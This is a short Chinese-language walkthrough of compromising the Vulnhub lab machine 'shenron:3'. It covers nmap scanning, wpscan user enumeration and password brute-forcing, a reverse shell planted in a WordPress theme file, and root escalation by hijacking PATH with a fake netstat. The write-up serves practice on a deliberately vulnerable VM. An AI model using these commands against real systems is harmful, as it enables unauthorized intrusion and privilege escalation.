Vulnhub: shenron:3靶机

发布时间 2023-07-31 16:31:05作者: ctostm

kali:192.168.111.111

靶机:192.168.111.171

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.171

image

修改hosts后访问目标80端口,发现是wordpress

image

wpscan收集目标用户,爆破出密码:iloverockyou

wpscan --url http://shenron/ -e u
wpscan --url http://shenron/ -U admin -P /usr/share/wordlists/rockyou.txt

image

image

登录后修改目标源码拿shell

image

修改后访问http://shenron/wp-content/themes/twentyeleven/404.php获得反弹shell

image

提权

shenron用户的密码也是iloverockyou

image

在shenron用户家目录下发现network程序,执行后发现该程序会执行netstat命令,修改环境变量提权

echo '/bin/bash' > /tmp/netstat
chmod 777 /tmp/netstat
export PATH=/tmp:$PATH
./network

image

image

flag

image